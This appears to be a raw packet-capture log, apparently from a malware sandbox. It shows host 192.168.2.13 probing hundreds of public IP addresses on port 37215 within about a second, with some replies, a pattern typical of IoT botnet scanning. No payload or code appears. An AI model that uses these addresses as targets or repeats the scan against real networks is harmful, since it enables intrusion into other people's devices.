Jan 1, 2024 12:51:51.003149986 CET	37751	37215	192.168.2.13	156.207.130.55
Jan 1, 2024 12:51:51.003155947 CET	37751	37215	192.168.2.13	156.25.104.176
Jan 1, 2024 12:51:51.003155947 CET	37751	37215	192.168.2.13	41.28.175.47
Jan 1, 2024 12:51:51.003156900 CET	37751	37215	192.168.2.13	197.192.6.3
Jan 1, 2024 12:51:51.003158092 CET	37751	37215	192.168.2.13	160.34.209.53
Jan 1, 2024 12:51:51.003160954 CET	37751	37215	192.168.2.13	92.195.33.139
Jan 1, 2024 12:51:51.003164053 CET	37751	37215	192.168.2.13	156.189.168.78
Jan 1, 2024 12:51:51.003164053 CET	37751	37215	192.168.2.13	122.134.91.4
Jan 1, 2024 12:51:51.003164053 CET	37751	37215	192.168.2.13	107.192.105.234
Jan 1, 2024 12:51:51.003164053 CET	37751	37215	192.168.2.13	156.71.215.57
Jan 1, 2024 12:51:51.003164053 CET	37751	37215	192.168.2.13	197.115.161.189
Jan 1, 2024 12:51:51.003165960 CET	37751	37215	192.168.2.13	37.69.200.14
Jan 1, 2024 12:51:51.003168106 CET	37751	37215	192.168.2.13	197.224.33.123
Jan 1, 2024 12:51:51.003173113 CET	37751	37215	192.168.2.13	156.68.200.25
Jan 1, 2024 12:51:51.003173113 CET	37751	37215	192.168.2.13	156.162.85.42
Jan 1, 2024 12:51:51.003173113 CET	37751	37215	192.168.2.13	45.31.22.250
Jan 1, 2024 12:51:51.003180981 CET	37751	37215	192.168.2.13	156.28.220.103
Jan 1, 2024 12:51:51.003185034 CET	37751	37215	192.168.2.13	197.109.179.160
Jan 1, 2024 12:51:51.003185987 CET	37751	37215	192.168.2.13	41.84.247.209
Jan 1, 2024 12:51:51.003201008 CET	37751	37215	192.168.2.13	157.195.61.157
Jan 1, 2024 12:51:51.003212929 CET	37751	37215	192.168.2.13	41.125.96.217
Jan 1, 2024 12:51:51.003217936 CET	37751	37215	192.168.2.13	160.67.248.48
Jan 1, 2024 12:51:51.003218889 CET	37751	37215	192.168.2.13	41.234.27.48
Jan 1, 2024 12:51:51.003218889 CET	37751	37215	192.168.2.13	156.93.46.212
Jan 1, 2024 12:51:51.003221989 CET	37751	37215	192.168.2.13	41.12.145.4
Jan 1, 2024 12:51:51.003223896 CET	37751	37215	192.168.2.13	122.89.25.255
Jan 1, 2024 12:51:51.003223896 CET	37751	37215	192.168.2.13	41.250.7.56
Jan 1, 2024 12:51:51.003223896 CET	37751	37215	192.168.2.13	156.100.148.213
Jan 1, 2024 12:51:51.003223896 CET	37751	37215	192.168.2.13	197.143.191.44
Jan 1, 2024 12:51:51.003223896 CET	37751	37215	192.168.2.13	45.202.244.222
Jan 1, 2024 12:51:51.003236055 CET	37751	37215	192.168.2.13	156.90.193.93
Jan 1, 2024 12:51:51.003237009 CET	37751	37215	192.168.2.13	122.43.114.54
Jan 1, 2024 12:51:51.003247976 CET	37751	37215	192.168.2.13	41.55.250.116
Jan 1, 2024 12:51:51.003247976 CET	37751	37215	192.168.2.13	197.99.152.150
Jan 1, 2024 12:51:51.003254890 CET	37751	37215	192.168.2.13	41.159.111.26
Jan 1, 2024 12:51:51.003257036 CET	37751	37215	192.168.2.13	102.184.24.166
Jan 1, 2024 12:51:51.004679918 CET	54328	37215	192.168.2.13	156.73.32.114
Jan 1, 2024 12:51:51.164562941 CET	37215	37751	156.249.23.52	192.168.2.13
Jan 1, 2024 12:51:51.174761057 CET	37215	37751	156.47.74.90	192.168.2.13
Jan 1, 2024 12:51:51.231472969 CET	37215	37751	45.167.166.237	192.168.2.13
Jan 1, 2024 12:51:51.269104004 CET	37215	37751	156.231.17.165	192.168.2.13
Jan 1, 2024 12:51:51.274101019 CET	37215	37751	41.143.133.143	192.168.2.13
Jan 1, 2024 12:51:51.307764053 CET	37215	37751	156.241.125.73	192.168.2.13
Jan 1, 2024 12:51:51.307820082 CET	37751	37215	192.168.2.13	156.241.125.73
Jan 1, 2024 12:51:51.308404922 CET	37215	37751	121.143.78.241	192.168.2.13
Jan 1, 2024 12:51:51.311990976 CET	37215	37751	190.247.40.11	192.168.2.13
Jan 1, 2024 12:51:51.312020063 CET	37215	37751	156.59.198.194	192.168.2.13
Jan 1, 2024 12:51:51.338624001 CET	37215	37751	156.240.48.172	192.168.2.13
Jan 1, 2024 12:51:51.340265989 CET	37215	37751	102.29.140.85	192.168.2.13
Jan 1, 2024 12:51:51.341649055 CET	37215	37751	197.253.60.209	192.168.2.13
Jan 1, 2024 12:51:51.361229897 CET	37215	37751	122.11.169.124	192.168.2.13
Jan 1, 2024 12:51:51.372404099 CET	37215	37751	41.164.32.177	192.168.2.13
Jan 1, 2024 12:51:51.393577099 CET	37215	37751	121.228.76.99	192.168.2.13
Jan 1, 2024 12:51:51.588076115 CET	37215	37751	102.153.123.207	192.168.2.13
Jan 1, 2024 12:51:51.593308926 CET	37215	37751	197.6.177.92	192.168.2.13
Jan 1, 2024 12:51:51.995866060 CET	37215	37751	37.13.231.152	192.168.2.13
Jan 1, 2024 12:51:52.004502058 CET	37751	37215	192.168.2.13	92.223.24.174
Jan 1, 2024 12:51:52.004534006 CET	37751	37215	192.168.2.13	41.217.228.70
Jan 1, 2024 12:51:52.004559040 CET	37751	37215	192.168.2.13	156.207.134.91
Jan 1, 2024 12:51:52.004569054 CET	37751	37215	192.168.2.13	190.2.29.182
Jan 1, 2024 12:51:52.004612923 CET	37751	37215	192.168.2.13	197.21.150.243
Jan 1, 2024 12:51:52.004623890 CET	37751	37215	192.168.2.13	41.71.24.178
Jan 1, 2024 12:51:52.004631996 CET	37751	37215	192.168.2.13	41.47.2.214
Jan 1, 2024 12:51:52.004667997 CET	37751	37215	192.168.2.13	197.222.127.208
Jan 1, 2024 12:51:52.004707098 CET	37751	37215	192.168.2.13	186.227.19.229
Jan 1, 2024 12:51:52.004734039 CET	37751	37215	192.168.2.13	181.71.6.232
Jan 1, 2024 12:51:52.004746914 CET	37751	37215	192.168.2.13	181.63.76.93
Jan 1, 2024 12:51:52.004757881 CET	37751	37215	192.168.2.13	190.57.148.90
Jan 1, 2024 12:51:52.004770994 CET	37751	37215	192.168.2.13	138.237.170.70
Jan 1, 2024 12:51:52.004790068 CET	37751	37215	192.168.2.13	41.180.219.172
Jan 1, 2024 12:51:52.004797935 CET	37751	37215	192.168.2.13	181.153.49.51
Jan 1, 2024 12:51:52.004822969 CET	37751	37215	192.168.2.13	41.176.160.252
Jan 1, 2024 12:51:52.004848957 CET	37751	37215	192.168.2.13	156.93.168.118
Jan 1, 2024 12:51:52.004877090 CET	37751	37215	192.168.2.13	196.79.213.152
Jan 1, 2024 12:51:52.004900932 CET	37751	37215	192.168.2.13	121.160.242.36
Jan 1, 2024 12:51:52.004911900 CET	37751	37215	192.168.2.13	156.100.246.112
Jan 1, 2024 12:51:52.004925013 CET	37751	37215	192.168.2.13	156.76.191.10
Jan 1, 2024 12:51:52.004939079 CET	37751	37215	192.168.2.13	41.126.129.111
Jan 1, 2024 12:51:52.004961967 CET	37751	37215	192.168.2.13	186.237.182.184
Jan 1, 2024 12:51:52.004981995 CET	37751	37215	192.168.2.13	197.110.28.214
Jan 1, 2024 12:51:52.004983902 CET	37751	37215	192.168.2.13	156.105.16.202
Jan 1, 2024 12:51:52.004987955 CET	37751	37215	192.168.2.13	156.254.58.100
Jan 1, 2024 12:51:52.004988909 CET	37751	37215	192.168.2.13	156.190.78.132
Jan 1, 2024 12:51:52.004988909 CET	37751	37215	192.168.2.13	41.170.143.32
Jan 1, 2024 12:51:52.005009890 CET	37751	37215	192.168.2.13	120.236.155.40
Jan 1, 2024 12:51:52.005009890 CET	37751	37215	192.168.2.13	102.166.108.55
Jan 1, 2024 12:51:52.005009890 CET	37751	37215	192.168.2.13	95.74.153.30
Jan 1, 2024 12:51:52.005022049 CET	37751	37215	192.168.2.13	45.226.193.140
Jan 1, 2024 12:51:52.005023956 CET	37751	37215	192.168.2.13	160.100.221.14
Jan 1, 2024 12:51:52.005023956 CET	37751	37215	192.168.2.13	197.130.120.247
Jan 1, 2024 12:51:52.005032063 CET	37751	37215	192.168.2.13	156.62.120.255
Jan 1, 2024 12:51:52.005040884 CET	37751	37215	192.168.2.13	156.157.224.111
Jan 1, 2024 12:51:52.005049944 CET	37751	37215	192.168.2.13	197.31.69.216
Jan 1, 2024 12:51:52.005063057 CET	37751	37215	192.168.2.13	41.33.74.93
Jan 1, 2024 12:51:52.005069971 CET	37751	37215	192.168.2.13	138.74.14.72
Jan 1, 2024 12:51:52.005069971 CET	37751	37215	192.168.2.13	156.37.227.71
Jan 1, 2024 12:51:52.005084991 CET	37751	37215	192.168.2.13	45.152.231.188
Jan 1, 2024 12:51:52.005089998 CET	37751	37215	192.168.2.13	190.81.93.217
Jan 1, 2024 12:51:52.005093098 CET	37751	37215	192.168.2.13	156.244.202.28
Jan 1, 2024 12:51:52.005105972 CET	37751	37215	192.168.2.13	156.160.34.254
Jan 1, 2024 12:51:52.005110025 CET	37751	37215	192.168.2.13	41.123.46.76
Jan 1, 2024 12:51:52.005119085 CET	37751	37215	192.168.2.13	41.243.28.126
Jan 1, 2024 12:51:52.005119085 CET	37751	37215	192.168.2.13	156.140.70.18
Jan 1, 2024 12:51:52.005127907 CET	37751	37215	192.168.2.13	107.255.133.44
Jan 1, 2024 12:51:52.005141020 CET	37751	37215	192.168.2.13	197.111.104.219
Jan 1, 2024 12:51:52.005145073 CET	37751	37215	192.168.2.13	156.223.214.32
Jan 1, 2024 12:51:52.005146980 CET	37751	37215	192.168.2.13	156.95.52.123
Jan 1, 2024 12:51:52.005147934 CET	37751	37215	192.168.2.13	197.66.246.183
Jan 1, 2024 12:51:52.005166054 CET	37751	37215	192.168.2.13	197.0.243.218
Jan 1, 2024 12:51:52.005167007 CET	37751	37215	192.168.2.13	156.213.22.76
Jan 1, 2024 12:51:52.005168915 CET	37751	37215	192.168.2.13	197.63.67.23
Jan 1, 2024 12:51:52.005172968 CET	37751	37215	192.168.2.13	41.195.114.225
Jan 1, 2024 12:51:52.005179882 CET	37751	37215	192.168.2.13	222.50.77.108
Jan 1, 2024 12:51:52.005183935 CET	37751	37215	192.168.2.13	122.106.158.83
Jan 1, 2024 12:51:52.005187988 CET	37751	37215	192.168.2.13	156.183.99.207
Jan 1, 2024 12:51:52.005188942 CET	37751	37215	192.168.2.13	222.50.30.84
Jan 1, 2024 12:51:52.005201101 CET	37751	37215	192.168.2.13	154.56.202.74
Jan 1, 2024 12:51:52.005203009 CET	37751	37215	192.168.2.13	181.178.19.29
Jan 1, 2024 12:51:52.005203009 CET	37751	37215	192.168.2.13	41.24.205.160
Jan 1, 2024 12:51:52.005208015 CET	37751	37215	192.168.2.13	102.186.21.91
Jan 1, 2024 12:51:52.005212069 CET	37751	37215	192.168.2.13	138.253.126.216
Jan 1, 2024 12:51:52.005223989 CET	37751	37215	192.168.2.13	156.207.59.207
Jan 1, 2024 12:51:52.005223989 CET	37751	37215	192.168.2.13	196.225.248.238
Jan 1, 2024 12:51:52.005233049 CET	37751	37215	192.168.2.13	156.195.250.63
Jan 1, 2024 12:51:52.005233049 CET	37751	37215	192.168.2.13	41.242.117.17
Jan 1, 2024 12:51:52.005237103 CET	37751	37215	192.168.2.13	41.245.192.22
Jan 1, 2024 12:51:52.005243063 CET	37751	37215	192.168.2.13	154.44.78.249
Jan 1, 2024 12:51:52.005256891 CET	37751	37215	192.168.2.13	41.143.40.37
Jan 1, 2024 12:51:52.005258083 CET	37751	37215	192.168.2.13	197.213.205.19
Jan 1, 2024 12:51:52.005258083 CET	37751	37215	192.168.2.13	197.164.94.182
Jan 1, 2024 12:51:52.005263090 CET	37751	37215	192.168.2.13	41.21.47.50
Jan 1, 2024 12:51:52.005263090 CET	37751	37215	192.168.2.13	197.156.68.253
Jan 1, 2024 12:51:52.005265951 CET	37751	37215	192.168.2.13	41.217.7.234
Jan 1, 2024 12:51:52.005266905 CET	37751	37215	192.168.2.13	197.31.96.75
Jan 1, 2024 12:51:52.005273104 CET	37751	37215	192.168.2.13	181.100.103.113
Jan 1, 2024 12:51:52.005289078 CET	37751	37215	192.168.2.13	156.243.227.77
Jan 1, 2024 12:51:52.005291939 CET	37751	37215	192.168.2.13	120.109.198.185
Jan 1, 2024 12:51:52.005292892 CET	37751	37215	192.168.2.13	41.165.107.12
Jan 1, 2024 12:51:52.005295038 CET	37751	37215	192.168.2.13	190.29.111.49
Jan 1, 2024 12:51:52.005299091 CET	37751	37215	192.168.2.13	102.87.62.139
Jan 1, 2024 12:51:52.005307913 CET	37751	37215	192.168.2.13	41.166.205.251
Jan 1, 2024 12:51:52.005311966 CET	37751	37215	192.168.2.13	154.15.201.189
Jan 1, 2024 12:51:52.005317926 CET	37751	37215	192.168.2.13	156.81.239.11
Jan 1, 2024 12:51:52.005326033 CET	37751	37215	192.168.2.13	121.25.239.246
Jan 1, 2024 12:51:52.005327940 CET	37751	37215	192.168.2.13	197.16.215.59
Jan 1, 2024 12:51:52.005338907 CET	37751	37215	192.168.2.13	41.253.209.108
Jan 1, 2024 12:51:52.005347013 CET	37751	37215	192.168.2.13	156.219.144.247
Jan 1, 2024 12:51:52.005347013 CET	37751	37215	192.168.2.13	156.196.42.238
Jan 1, 2024 12:51:52.005347013 CET	37751	37215	192.168.2.13	41.122.121.99
Jan 1, 2024 12:51:52.005359888 CET	37751	37215	192.168.2.13	222.254.32.146
Jan 1, 2024 12:51:52.005361080 CET	37751	37215	192.168.2.13	156.179.251.155
Jan 1, 2024 12:51:52.005367041 CET	37751	37215	192.168.2.13	41.157.42.240
Jan 1, 2024 12:51:52.005369902 CET	37751	37215	192.168.2.13	222.128.97.140
Jan 1, 2024 12:51:52.005373001 CET	37751	37215	192.168.2.13	121.118.216.174
Jan 1, 2024 12:51:52.005383015 CET	37751	37215	192.168.2.13	197.216.63.58
Jan 1, 2024 12:51:52.005383015 CET	37751	37215	192.168.2.13	41.203.220.15
Jan 1, 2024 12:51:52.005393028 CET	37751	37215	192.168.2.13	197.141.113.165
Jan 1, 2024 12:51:52.005395889 CET	37751	37215	192.168.2.13	154.228.14.159
Jan 1, 2024 12:51:52.005399942 CET	37751	37215	192.168.2.13	41.62.14.10
Jan 1, 2024 12:51:52.005399942 CET	37751	37215	192.168.2.13	156.113.129.129
Jan 1, 2024 12:51:52.005404949 CET	37751	37215	192.168.2.13	197.198.166.120
Jan 1, 2024 12:51:52.005415916 CET	37751	37215	192.168.2.13	156.172.180.188
Jan 1, 2024 12:51:52.005424023 CET	37751	37215	192.168.2.13	156.92.108.94
Jan 1, 2024 12:51:52.005428076 CET	37751	37215	192.168.2.13	92.234.66.229
Jan 1, 2024 12:51:52.005433083 CET	37751	37215	192.168.2.13	120.45.213.141
Jan 1, 2024 12:51:52.005433083 CET	37751	37215	192.168.2.13	41.232.248.215
Jan 1, 2024 12:51:52.005433083 CET	37751	37215	192.168.2.13	95.132.26.31
Jan 1, 2024 12:51:52.005439997 CET	37751	37215	192.168.2.13	197.48.204.194
Jan 1, 2024 12:51:52.005439997 CET	37751	37215	192.168.2.13	41.45.230.43
Jan 1, 2024 12:51:52.005440950 CET	37751	37215	192.168.2.13	156.130.216.43
Jan 1, 2024 12:51:52.005441904 CET	37751	37215	192.168.2.13	138.254.146.63
Jan 1, 2024 12:51:52.005444050 CET	37751	37215	192.168.2.13	156.69.126.115
Jan 1, 2024 12:51:52.005444050 CET	37751	37215	192.168.2.13	102.161.91.71
Jan 1, 2024 12:51:52.005467892 CET	37751	37215	192.168.2.13	102.109.93.29
Jan 1, 2024 12:51:52.005470037 CET	37751	37215	192.168.2.13	122.6.212.123
Jan 1, 2024 12:51:52.005470037 CET	37751	37215	192.168.2.13	222.23.137.46
Jan 1, 2024 12:51:52.005470991 CET	37751	37215	192.168.2.13	197.90.149.104
Jan 1, 2024 12:51:52.005475998 CET	37751	37215	192.168.2.13	197.66.240.194
Jan 1, 2024 12:51:52.005481005 CET	37751	37215	192.168.2.13	122.194.204.59
Jan 1, 2024 12:51:52.005481005 CET	37751	37215	192.168.2.13	222.236.66.103
Jan 1, 2024 12:51:52.005481005 CET	37751	37215	192.168.2.13	156.91.171.82
Jan 1, 2024 12:51:52.005484104 CET	37751	37215	192.168.2.13	197.238.139.193
Jan 1, 2024 12:51:52.005486012 CET	37751	37215	192.168.2.13	190.149.108.219
Jan 1, 2024 12:51:52.005486965 CET	37751	37215	192.168.2.13	156.255.180.89
Jan 1, 2024 12:51:52.005486965 CET	37751	37215	192.168.2.13	197.55.13.91
Jan 1, 2024 12:51:52.005489111 CET	37751	37215	192.168.2.13	156.12.72.203
Jan 1, 2024 12:51:52.005489111 CET	37751	37215	192.168.2.13	156.167.58.113
Jan 1, 2024 12:51:52.005494118 CET	37751	37215	192.168.2.13	156.175.254.243
Jan 1, 2024 12:51:52.005497932 CET	37751	37215	192.168.2.13	41.135.234.109
Jan 1, 2024 12:51:52.005506039 CET	37751	37215	192.168.2.13	156.229.107.203
Jan 1, 2024 12:51:52.005507946 CET	37751	37215	192.168.2.13	41.36.232.216
Jan 1, 2024 12:51:52.005507946 CET	37751	37215	192.168.2.13	197.19.141.230
Jan 1, 2024 12:51:52.005511999 CET	37751	37215	192.168.2.13	37.92.110.224
Jan 1, 2024 12:51:52.005512953 CET	37751	37215	192.168.2.13	95.229.137.16
Jan 1, 2024 12:51:52.005512953 CET	37751	37215	192.168.2.13	197.33.62.153
Jan 1, 2024 12:51:52.005522013 CET	37751	37215	192.168.2.13	156.50.202.252
Jan 1, 2024 12:51:52.005522966 CET	37751	37215	192.168.2.13	156.212.154.180
Jan 1, 2024 12:51:52.005522966 CET	37751	37215	192.168.2.13	157.90.253.102
Jan 1, 2024 12:51:52.005523920 CET	37751	37215	192.168.2.13	138.183.95.198
Jan 1, 2024 12:51:52.005530119 CET	37751	37215	192.168.2.13	37.2.95.114
Jan 1, 2024 12:51:52.005530119 CET	37751	37215	192.168.2.13	156.68.194.14
Jan 1, 2024 12:51:52.005530119 CET	37751	37215	192.168.2.13	41.138.124.192
Jan 1, 2024 12:51:52.005534887 CET	37751	37215	192.168.2.13	181.13.118.10
Jan 1, 2024 12:51:52.005536079 CET	37751	37215	192.168.2.13	197.7.21.98
Jan 1, 2024 12:51:52.005538940 CET	37751	37215	192.168.2.13	121.247.23.47
Jan 1, 2024 12:51:52.005544901 CET	37751	37215	192.168.2.13	41.78.199.110
Jan 1, 2024 12:51:52.005544901 CET	37751	37215	192.168.2.13	197.148.49.115
Jan 1, 2024 12:51:52.005556107 CET	37751	37215	192.168.2.13	196.2.211.211
Jan 1, 2024 12:51:52.005568027 CET	37751	37215	192.168.2.13	190.35.15.253
Jan 1, 2024 12:51:52.005564928 CET	37751	37215	192.168.2.13	156.230.67.19
Jan 1, 2024 12:51:52.005568981 CET	37751	37215	192.168.2.13	122.112.4.222
Jan 1, 2024 12:51:52.005564928 CET	37751	37215	192.168.2.13	95.197.201.57
Jan 1, 2024 12:51:52.005575895 CET	37751	37215	192.168.2.13	41.70.1.183
Jan 1, 2024 12:51:52.005578041 CET	37751	37215	192.168.2.13	122.14.127.64
Jan 1, 2024 12:51:52.005578995 CET	37751	37215	192.168.2.13	41.76.59.25
Jan 1, 2024 12:51:52.005594969 CET	37751	37215	192.168.2.13	156.35.203.59
Jan 1, 2024 12:51:52.005594969 CET	37751	37215	192.168.2.13	120.142.31.38
Jan 1, 2024 12:51:52.005603075 CET	37751	37215	192.168.2.13	197.254.209.73
Jan 1, 2024 12:51:52.005603075 CET	37751	37215	192.168.2.13	154.137.177.244
Jan 1, 2024 12:51:52.005603075 CET	37751	37215	192.168.2.13	41.149.167.254
Jan 1, 2024 12:51:52.005609035 CET	37751	37215	192.168.2.13	95.218.139.255
Jan 1, 2024 12:51:52.005609989 CET	37751	37215	192.168.2.13	156.178.95.213
Jan 1, 2024 12:51:52.005609989 CET	37751	37215	192.168.2.13	156.151.56.135
Jan 1, 2024 12:51:52.005614996 CET	37751	37215	192.168.2.13	95.35.107.164
Jan 1, 2024 12:51:52.005618095 CET	37751	37215	192.168.2.13	102.48.201.57
Jan 1, 2024 12:51:52.005635023 CET	37751	37215	192.168.2.13	197.26.51.232
Jan 1, 2024 12:51:52.005635977 CET	37751	37215	192.168.2.13	190.50.185.230
Jan 1, 2024 12:51:52.005635977 CET	37751	37215	192.168.2.13	156.53.131.28
Jan 1, 2024 12:51:52.005635977 CET	37751	37215	192.168.2.13	156.84.92.123
Jan 1, 2024 12:51:52.005637884 CET	37751	37215	192.168.2.13	156.7.228.4
Jan 1, 2024 12:51:52.005645037 CET	37751	37215	192.168.2.13	156.159.137.218
Jan 1, 2024 12:51:52.005649090 CET	37751	37215	192.168.2.13	156.204.14.172
Jan 1, 2024 12:51:52.005649090 CET	37751	37215	192.168.2.13	41.24.72.81
Jan 1, 2024 12:51:52.005650043 CET	37751	37215	192.168.2.13	197.18.177.23
Jan 1, 2024 12:51:52.005656004 CET	37751	37215	192.168.2.13	41.170.7.202
Jan 1, 2024 12:51:52.005671024 CET	37751	37215	192.168.2.13	154.203.255.230
Jan 1, 2024 12:51:52.005675077 CET	37751	37215	192.168.2.13	197.95.230.24
Jan 1, 2024 12:51:52.005675077 CET	37751	37215	192.168.2.13	197.4.241.254
Jan 1, 2024 12:51:52.005676031 CET	37751	37215	192.168.2.13	41.121.123.234
Jan 1, 2024 12:51:52.005680084 CET	37751	37215	192.168.2.13	156.5.190.57
Jan 1, 2024 12:51:52.005692005 CET	37751	37215	192.168.2.13	41.42.12.153
Jan 1, 2024 12:51:52.005693913 CET	37751	37215	192.168.2.13	156.205.91.34
Jan 1, 2024 12:51:52.005698919 CET	37751	37215	192.168.2.13	94.156.162.18
Jan 1, 2024 12:51:52.005701065 CET	37751	37215	192.168.2.13	41.11.194.86
Jan 1, 2024 12:51:52.005705118 CET	37751	37215	192.168.2.13	197.136.212.46
Jan 1, 2024 12:51:52.005707026 CET	37751	37215	192.168.2.13	197.206.38.253
Jan 1, 2024 12:51:52.005707979 CET	37751	37215	192.168.2.13	41.94.24.179
Jan 1, 2024 12:51:52.005717993 CET	37751	37215	192.168.2.13	197.124.189.152
Jan 1, 2024 12:51:52.005726099 CET	37751	37215	192.168.2.13	197.155.43.43
Jan 1, 2024 12:51:52.005728006 CET	37751	37215	192.168.2.13	138.30.74.251
Jan 1, 2024 12:51:52.005742073 CET	37751	37215	192.168.2.13	154.193.143.26
Jan 1, 2024 12:51:52.005747080 CET	37751	37215	192.168.2.13	186.228.53.70
Jan 1, 2024 12:51:52.005747080 CET	37751	37215	192.168.2.13	197.193.93.190
Jan 1, 2024 12:51:52.005747080 CET	37751	37215	192.168.2.13	197.222.131.205
Jan 1, 2024 12:51:52.005754948 CET	37751	37215	192.168.2.13	222.213.65.139
Jan 1, 2024 12:51:52.005762100 CET	37751	37215	192.168.2.13	156.197.48.174
Jan 1, 2024 12:51:52.005764008 CET	37751	37215	192.168.2.13	156.65.204.119
Jan 1, 2024 12:51:52.005770922 CET	37751	37215	192.168.2.13	41.163.114.72
Jan 1, 2024 12:51:52.005786896 CET	37751	37215	192.168.2.13	222.10.241.28
Jan 1, 2024 12:51:52.005786896 CET	37751	37215	192.168.2.13	94.84.143.176
Jan 1, 2024 12:51:52.005788088 CET	37751	37215	192.168.2.13	41.118.249.99
Jan 1, 2024 12:51:52.005789995 CET	37751	37215	192.168.2.13	102.88.115.249
Jan 1, 2024 12:51:52.005801916 CET	37751	37215	192.168.2.13	197.183.198.77
Jan 1, 2024 12:51:52.005803108 CET	37751	37215	192.168.2.13	222.48.86.210
Jan 1, 2024 12:51:52.005806923 CET	37751	37215	192.168.2.13	41.213.199.41
Jan 1, 2024 12:51:52.005808115 CET	37751	37215	192.168.2.13	41.219.77.52
Jan 1, 2024 12:51:52.005808115 CET	37751	37215	192.168.2.13	156.237.201.236
Jan 1, 2024 12:51:52.005819082 CET	37751	37215	192.168.2.13	156.62.188.51
Jan 1, 2024 12:51:52.005824089 CET	37751	37215	192.168.2.13	197.126.229.80
Jan 1, 2024 12:51:52.005830050 CET	37751	37215	192.168.2.13	41.209.243.181
Jan 1, 2024 12:51:52.005842924 CET	37751	37215	192.168.2.13	94.139.19.163
Jan 1, 2024 12:51:52.005847931 CET	37751	37215	192.168.2.13	45.119.63.199
Jan 1, 2024 12:51:52.005847931 CET	37751	37215	192.168.2.13	181.9.153.173
Jan 1, 2024 12:51:52.005856037 CET	37751	37215	192.168.2.13	95.248.185.86
Jan 1, 2024 12:51:52.005856037 CET	37751	37215	192.168.2.13	41.154.203.63
Jan 1, 2024 12:51:52.005856037 CET	37751	37215	192.168.2.13	41.128.52.190
Jan 1, 2024 12:51:52.005870104 CET	37751	37215	192.168.2.13	197.234.135.85
Jan 1, 2024 12:51:52.005875111 CET	37751	37215	192.168.2.13	41.51.202.35
Jan 1, 2024 12:51:52.005876064 CET	37751	37215	192.168.2.13	138.209.219.237
Jan 1, 2024 12:51:52.005878925 CET	37751	37215	192.168.2.13	156.166.204.186
Jan 1, 2024 12:51:52.005891085 CET	37751	37215	192.168.2.13	197.79.227.33
Jan 1, 2024 12:51:52.005896091 CET	37751	37215	192.168.2.13	41.99.43.10
Jan 1, 2024 12:51:52.005898952 CET	37751	37215	192.168.2.13	156.192.183.187
Jan 1, 2024 12:51:52.005903959 CET	37751	37215	192.168.2.13	120.171.154.133
Jan 1, 2024 12:51:52.005916119 CET	37751	37215	192.168.2.13	197.123.221.31
Jan 1, 2024 12:51:52.005916119 CET	37751	37215	192.168.2.13	156.226.139.30
Jan 1, 2024 12:51:52.005917072 CET	37751	37215	192.168.2.13	138.254.99.221
Jan 1, 2024 12:51:52.005917072 CET	37751	37215	192.168.2.13	197.213.208.205
Jan 1, 2024 12:51:52.005919933 CET	37751	37215	192.168.2.13	121.228.170.130
Jan 1, 2024 12:51:52.005925894 CET	37751	37215	192.168.2.13	41.92.197.243
Jan 1, 2024 12:51:52.005939960 CET	37751	37215	192.168.2.13	156.36.6.104
Jan 1, 2024 12:51:52.005939960 CET	37751	37215	192.168.2.13	197.92.127.128
Jan 1, 2024 12:51:52.005944967 CET	37751	37215	192.168.2.13	156.171.74.109
Jan 1, 2024 12:51:52.005956888 CET	37751	37215	192.168.2.13	190.230.207.188
Jan 1, 2024 12:51:52.005956888 CET	37751	37215	192.168.2.13	190.56.176.132
Jan 1, 2024 12:51:52.005956888 CET	37751	37215	192.168.2.13	156.142.102.248
Jan 1, 2024 12:51:52.005968094 CET	37751	37215	192.168.2.13	196.190.194.199
Jan 1, 2024 12:51:52.005981922 CET	37751	37215	192.168.2.13	41.37.212.136
Jan 1, 2024 12:51:52.005986929 CET	37751	37215	192.168.2.13	157.252.132.61
Jan 1, 2024 12:51:52.005990982 CET	37751	37215	192.168.2.13	41.233.222.255
Jan 1, 2024 12:51:52.005990982 CET	37751	37215	192.168.2.13	197.143.97.50
Jan 1, 2024 12:51:52.005997896 CET	37751	37215	192.168.2.13	156.112.112.3
Jan 1, 2024 12:51:52.006017923 CET	37751	37215	192.168.2.13	156.114.245.119
Jan 1, 2024 12:51:52.006017923 CET	37751	37215	192.168.2.13	197.184.10.215
Jan 1, 2024 12:51:52.006017923 CET	37751	37215	192.168.2.13	197.99.9.198
Jan 1, 2024 12:51:52.006022930 CET	37751	37215	192.168.2.13	156.90.15.185
Jan 1, 2024 12:51:52.006022930 CET	37751	37215	192.168.2.13	156.70.186.117
Jan 1, 2024 12:51:52.006022930 CET	37751	37215	192.168.2.13	156.239.132.148
Jan 1, 2024 12:51:52.006025076 CET	37751	37215	192.168.2.13	41.240.145.121
Jan 1, 2024 12:51:52.006031990 CET	37751	37215	192.168.2.13	197.232.80.214
Jan 1, 2024 12:51:52.006031990 CET	37751	37215	192.168.2.13	41.79.120.143
Jan 1, 2024 12:51:52.006031990 CET	37751	37215	192.168.2.13	197.127.124.146
Jan 1, 2024 12:51:52.006031990 CET	37751	37215	192.168.2.13	92.129.58.77
Jan 1, 2024 12:51:52.006033897 CET	37751	37215	192.168.2.13	92.176.133.84
Jan 1, 2024 12:51:52.006036043 CET	37751	37215	192.168.2.13	197.222.105.68
Jan 1, 2024 12:51:52.006036043 CET	37751	37215	192.168.2.13	120.97.246.185
Jan 1, 2024 12:51:52.006041050 CET	37751	37215	192.168.2.13	156.205.172.115
Jan 1, 2024 12:51:52.006047964 CET	37751	37215	192.168.2.13	197.66.174.252
Jan 1, 2024 12:51:52.006057978 CET	37751	37215	192.168.2.13	156.65.239.10
Jan 1, 2024 12:51:52.006057978 CET	37751	37215	192.168.2.13	156.48.129.240
Jan 1, 2024 12:51:52.006061077 CET	37751	37215	192.168.2.13	197.18.200.139
Jan 1, 2024 12:51:52.006063938 CET	37751	37215	192.168.2.13	222.169.147.2
Jan 1, 2024 12:51:52.006063938 CET	37751	37215	192.168.2.13	197.252.185.76
Jan 1, 2024 12:51:52.006076097 CET	37751	37215	192.168.2.13	41.124.53.25
Jan 1, 2024 12:51:52.006078959 CET	37751	37215	192.168.2.13	41.255.132.219
Jan 1, 2024 12:51:52.006078959 CET	37751	37215	192.168.2.13	41.29.164.170
Jan 1, 2024 12:51:52.006086111 CET	37751	37215	192.168.2.13	197.73.228.148
Jan 1, 2024 12:51:52.006093979 CET	37751	37215	192.168.2.13	92.104.218.26
Jan 1, 2024 12:51:52.006097078 CET	37751	37215	192.168.2.13	122.14.101.128
Jan 1, 2024 12:51:52.006098032 CET	37751	37215	192.168.2.13	156.155.65.234
Jan 1, 2024 12:51:52.006105900 CET	37751	37215	192.168.2.13	197.7.17.231
Jan 1, 2024 12:51:52.006120920 CET	37751	37215	192.168.2.13	156.174.100.97
Jan 1, 2024 12:51:52.006123066 CET	37751	37215	192.168.2.13	41.181.164.232
